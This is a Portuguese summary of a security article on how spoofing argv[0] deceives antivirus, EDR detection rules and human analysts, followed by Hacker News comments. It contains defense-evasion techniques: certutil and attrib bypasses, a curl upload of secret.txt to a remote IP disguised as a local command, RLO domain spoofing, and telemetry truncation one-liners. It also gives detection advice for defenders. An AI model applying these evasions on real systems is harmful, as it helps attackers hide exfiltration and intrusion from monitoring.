Por que usar `argv[0]`?
(wietzebeukema.nl)- A linha de comando é estranha
- O Windows é especialmente conhecido por esse tipo de problema, mas a forma como a maioria dos sistemas operacionais implementa a linha de comando pode causar problemas de segurança
- Este texto explica os problemas da convenção que reserva o primeiro argumento da linha de comando de um processo,
argv[0], para representar o nome do processo
argv[0] é um relicário do passado
- Quando um programa é iniciado, ele recebe argumentos de linha de comando e pode acessá-los internamente; na prática, isso é uma das primeiras informações fornecidas quando o programa começa a rodar
- É um dos principais mecanismos para alterar o fluxo de execução do programa
- Se observarmos a família de chamadas de sistema
execadotada em POSIX e no DOS/Win32int execv(const char *path, char *const argv[]);- Para chamar essa função
execv, é necessário passar ao programa o caminho completo do aplicativo a ser executado empathe um vetor com os argumentos emargv; ela retorna um inteiro com o código de status - Segundo essa especificação, se o programa for executado com sucesso como resultado dessa chamada, o programa-alvo é invocado por meio de
int main (int argc, char *argv[]);
- Em todos os padrões C,
argcnão é negativo,argv[argc]é um ponteiro nulo e, seargcfor maior que 0, entãoargv[0]representa o nome do programa chamado - Algumas pessoas podem questionar a necessidade de
argv[0]- “O novo processo obviamente sabe seu próprio nome, então por que ele precisa ser passado como o primeiro argumento do processo chamador?”
- Em ambientes POSIX, um programa pode ser chamado por meio de um link simbólico, então isso serve para ajudar o novo processo a saber qual solicitação recebeu
- Por exemplo, no Debian,
shutdownerebootapontam para o mesmo executávelsystemctle se comportam de forma diferente dependendo do comando usado para chamá-lo
- Isso parece uma decisão de projeto questionável
- “Um programa deveria realmente se comportar de forma diferente dependendo do próprio nome?”
- Sob uma perspectiva moderna, isso parece reduzir a previsibilidade do software e ir contra princípios modernos de projeto
- Sob a ótica das décadas de 1970 e 1980, quando os recursos computacionais eram escassos, isso pode ter sido uma tentativa de minimizar duplicação
- Mas hoje espaço em disco não é um problema tão relevante. Por exemplo, no macOS Sonoma,
shutdownerebootexistem como executáveis separados - Há debate sobre se realmente vale a pena unificar dois programas parecidos em um único arquivo ou se uma abordagem com argumentos de comando seria mais adequada
- Mesmo aceitando esse princípio, a implementação em si também é discutível
- É questionável que a informação de
argv[0]deva ser fornecida como parte dos argumentos do processo - Programas que dependem de
argv[0]podem falhar se o processo chamador não configurá-lo corretamente - Também existem programas que usam
argv[0]de forma incorreta do ponto de vista de segurança - Uma abordagem melhor seria separar
argv[0]em uma funcionalidade própria dotask_structou do PEB, deixando o sistema operacional gerenciar esse valor- Isso permitiria rastreamento consistente e reduziria o espaço para manipulação
- É questionável que a informação de
- O sistema operacional que mais se aproxima disso é, surpreendentemente, o Windows
- Diferentemente de outros sistemas operacionais populares, o Windows não define
argv[0]ao criar um novo processo - As chamadas de API do Windows (
CreateProcess,ShellExecute) definemargv[0]automaticamente com base no caminho do executável - Embora essa pareça a implementação mais sensata, o Windows também adota chamadas
execno estilo POSIX, então existe um jeito de definirargv[0]manualmente
- Diferentemente de outros sistemas operacionais populares, o Windows não define
argv[0] é ignorado (na maioria dos casos)
- Independentemente da sua posição sobre a importância de
argv[0], na prática ele é um conceito existente e vem acompanhado de problemas - Ao chamar
exec, as duas primeiras das três condições mencionadas acima são tratadas pelo sistema operacional, mas a última, relacionada aargv[0], não é gerenciada - Como quem chama
execcontrola totalmenteargv, esse requisito pode ser ignorado, e nem o sistema operacional nem o programa chamador/chamado verificam essa violação - Exemplo de ignorar
argv[0]- Para imprimir Hello, world! usando
echo, normalmente chamaríamosexecv("/usr/bin/echo", ["echo", "Hello, world!"]) - Mas mesmo se chamarmos
execv("/usr/bin/echo", ["oopsie", "Hello, world!"]), o programaechoserá executado normalmente e imprimirá Hello, world! - O programa
echofunciona ignorandoargv[0]e focando apenas nos argumentos a partir deargv[1] - A maioria dos programas adota uma abordagem parecida, ignorando
argv[0]
- Para imprimir Hello, world! usando
- Exemplo de manipulação de
argv[0]- Várias linguagens de programação e script, incluindo C, oferecem meios de manipular
argv[0]:
python3 -c "import os; os.execvp('/path/to/binary', ['ARGV0', '--other', '--args', '--here'])" perl -e 'exec {"/path/to/binary"} "ARGV0", "--other", "--args", "--here"' ruby -e "exec(['/path/to/binary','ARGV0'],'--other', '--args', '--here')" bash -c 'exec -a "ARGV0" /path/to/binary --other --args --here' - Várias linguagens de programação e script, incluindo C, oferecem meios de manipular
- Manipular
argv[0]é simples e, na maioria das execuções de programas, não afeta o funcionamento. Ainda assim, do ponto de vista de segurança, isso pode ser problemático
argv[0] pode derrubar mecanismos de defesa
argv[0]pode ser usado para enganar softwares de segurança. Quando um usuário malicioso compromete o sistema, ele manipula o sistema executando comandos do atacante- Softwares de defesa, como AV e EDR, monitoram a execução de processos e detectam ou bloqueiam comandos específicos quando os consideram nocivos. A maioria das soluções detecta ativamente comandos usados com frequência por atacantes
- Exemplo: abuso do comando
certutilcertutil, ferramenta de linha de comando embutida no Windows, é usada com frequência em ataques. Após obter acesso inicial, ela pode servir para baixar payloads externos.- O Microsoft Defender Antivirus bloqueia a execução de
certutilquando há argumentos de linha de comando que indicam tentativa de download de arquivo. No entanto, secertutilfor iniciado comargv[0]definido como espaço em branco, o Defender não bloqueia - Isso mostra um problema causado pelo fato de a detecção de segurança tratar o nome do programa como parte da linha de comando. Por exemplo, se a lógica de detecção for algo como
command_line.contains('certutil') AND command_line.contains('-urlcache'), ela assume quecertutilfaz parte da linha de comando. Porém, manipulandoargv[0], é possível contornar essa lógica - Uma lógica de detecção mais eficaz seria algo como
process_path.endswith('certutil.exe') AND command_line.contains('-urlcache')
- Evasão de detecção por meio de
argv[0]- A evasão também é possível adicionando palavras-chave de ajuste em
argv[0]. Em geral, a detecção combina condições básicas com condições adicionais para filtrar falsos positivos - Por exemplo, pode existir uma regra que detecta quando
attrib.exeoculta arquivos. Mas, na prática, esse comando é executado legitimamente com frequência sobre o arquivodesktop.ini - Sabendo disso, um atacante pode incluir
desktop.iniemargv[0]para burlar a detecção. Por exemplo,argv = ['attrib_\desktop.ini', '+H', 'backdoor.exe']
- A evasão também é possível adicionando palavras-chave de ajuste em
Dá para enganar usando argv[0]
argv[0]pode ser abusado não só para enganar software de segurança, mas também pessoas- Analistas de segurança revisam alertas gerados por ferramentas como software EDR, e esses alertas incluem a linha de comando do processo envolvido
- A linha de comando do processo é uma informação importante para o analista decidir se deve investigar mais a fundo ou ignorar o alerta
- Exemplo: enganação na linha de comando
- Um alerta de possível exfiltração de dados pode ser disparado ao executar o comando
curl -T secret.txt 123.45.67.89. Esse comando envia o arquivosecret.txtpara o endereço IP 123.45.67.89 - No mesmo cenário, se
argv[0]for alterado decurlparacurl localhost | grep, isso ainda será um comando válido - Como softwares de segurança exibem o array da linha de comando como uma string separada por espaços, nesse caso é bem provável que o comando apareça como
curl localhost | grep -T secret.txt 123.45.67.89 - Do ponto de vista do analista, isso pode parecer que
curl localhostfoi executado e que o resultado foi enviado paragrep -T secret.txt 123.45.67.89. Embora na realidade o comportamento seja um upload de informações para um endereço remoto, ele pode parecer um download a partir de um endereço local
- Um alerta de possível exfiltração de dados pode ser disparado ao executar o comando
- Uso do caractere Right-To-Left Override (RLO)
- É possível manipular
argv[0]usando o famigerado caractere RLO (reordenação da direita para a esquerda) - Esse caractere Unicode instrui o aplicativo de renderização a exibir os caracteres seguintes em ordem inversa
- Ao inserir um RLO em
argv[0], é possível fazerping moc.elgoog.some-evil-website.comparecerping moc.etisbew-live-emos.google.com - Essa técnica não afeta a lógica de detecção, mas pode enganar o analista
- É possível manipular
- Técnicas assim mostram diferentes maneiras de manipular
argv[0]para esconder atividades maliciosas, enganando tanto software de segurança quanto o olhar humano
argv[0] pode comprometer a telemetria
- Como
argv[0]fica bem no início da linha de comando, preencherargv[0]com caracteres suficientes pode empurrar todos os outros argumentos para o fim da linha - Isso pode ser problemático por dois motivos: primeiro, porque partes interessantes podem ficar “escondidas” no final da linha de comando, desestimulando o analista a rolar a tela; e, mais importante, porque o comprimento total pode ficar grande o bastante para que o software de monitoramento corte justamente os argumentos relevantes
- Limites de tamanho da linha de comando
- Desde o Windows 7, o tamanho máximo da linha de comando no Windows é limitado a 14.336 caracteres (cerca de 14 KiB)
- No kernel Linux, o limite máximo é codificado como 32 páginas de memória, o que em arquiteturas de 64 bits equivale a cerca de 131.072 caracteres (128 KiB)
- O macOS Sonoma permite linhas de comando de até 1.048.576 caracteres (1 MiB)
- Isso significa que existe muito espaço arbitrário que
argv[0]pode ocupar
- Casos de comprometimento da telemetria
- Softwares de monitoramento de processos (como EDR) podem registrar integralmente execuções com linhas de comando longas ou truncá-las em um comprimento fixo para reduzir overhead
- Se linhas de comando longas forem registradas por completo, iniciar 1.000 processos usando simplesmente o comprimento máximo da linha de comando pode gerar 1 GiB de dados de log
- Se houver truncamento, os argumentos da linha de comando podem ser cortados na telemetria. Por exemplo, o comando
perl -e 'exec {"echo"} "_"x50000, "Hello, world!"'imprime “Hello, world!”, mas a telemetria da execução pode registrar apenas sublinhados ou, em alguns casos, até uma linha de comando completamente vazia - Como os argumentos realmente importantes deixam de aparecer, a lógica de detecção e os analistas podem ficar sem entender o que de fato aconteceu
Os riscos de argv[0]: prevenção e detecção
argv[0]resolve um problema enquanto cria vários outros- É improvável que
argv[0]desapareça tão cedo, então, do ponto de vista de segurança, o foco precisa ser em como lidar com isso - Medidas preventivas
- Desenvolvedores podem comparar
argv[0]com o próprio nome de arquivo para verificar manipulação, mas isso escala mal - O sistema operacional poderia fazer essa verificação de forma mais confiável. Depender de
argv[0]para alterar o fluxo do programa é algo fortemente desaconselhável - O ideal é que desenvolvedores evitem interagir com
argv[0]sempre que possível
- Desenvolvedores podem comparar
- Métodos de detecção para profissionais de segurança
- Entender como
argv[0]funciona e quais problemas ele traz é um passo importante para evitar enganações na linha de comando - Se o software de segurança fornecer os argumentos da linha de comando como array, certos padrões podem ser identificados de forma confiável
- Valores excessivamente longos em
argv[0]ou valores contendo caracteres suspeitos, como o caractere de pipe, devem ser marcados imediatamente como suspeitos - Mesmo quando os argumentos da linha de comando são fornecidos como string, é possível sinalizar linhas de comando que não incluam o nome do programa. Isso sugere que
argv[0]foi manipulado - A simples presença de caracteres RLO já é, na maioria dos ambientes, um método de detecção altamente eficaz
- No caso de argumentos truncados na linha de comando, é preciso entender como as soluções de segurança e os data lakes lidam com isso e qual impacto isso tem sobre a telemetria gerada
- Entender como
- Melhorias no software de defesa
- Softwares de defesa precisam melhorar a detecção de abuso de
argv[0]. Deve ser possível bloquear a execução de software com valores suspeitos emargv[0]sem gerar falsos positivos - Plataformas EDR também deveriam considerar excluir
argv[0]ao reportar os argumentos da linha de comando. Isso eliminaria a maioria dos problemas destacados neste texto e, na maior parte dos casos, o valor forense disso também é baixo
- Softwares de defesa precisam melhorar a detecção de abuso de
- No fim das contas, ninguém quer dor de cabeça por causa de
argv[0]. Nosso software também não
Resumo do GN⁺
argv[0]é um relicário do passado e entra em conflito com princípios modernos de projeto de software- A maioria dos programas ignora
argv[0], mas isso ainda pode causar problemas de segurança argv[0]pode enganar softwares de segurança e pessoas, além de comprometer a telemetria- Profissionais de segurança devem detectar abusos de
argv[0], e softwares de defesa precisam lidar melhor com isso
2 comentários
Talvez por eu ser das antigas... não concordo muito com a posição do autor. O problema é o
exec, mas parece que a culpa está recaindo sobre oargv[0].Comentários do Hacker News
A oposição a ler
argv[0]exige ignorância do autor ou uma necessidade de defesa muito forteargv[0]argv[0]é usado como alvo de links simbólicos para centenas de comandosFerramentas que usam
argv[0]podem executar comandos do host de dentro de um contêinerNão há problema em um programa se comportar de forma diferente dependendo do nome
A oposição a
argv[0]alega que isso vai contra princípios modernos de designargv[0]para verificar se está dentro de um virtualenv e ajustar o caminho de buscaargv[0]não é especialmente ruim do ponto de vista de segurançaargvargv[0]não tem problemaargv[0]para diferenciar versões de comandosO busybox usa
argv[0]no modo "shim"O macOS configura vários comandos para apontarem para um único executável
argv[0]para melhorar a usabilidade da CLI e reduzir duplicação de códigoRemover
argv[0]faria perder funcionalidades úteisargv[0], invasores encontrariam outros caminhos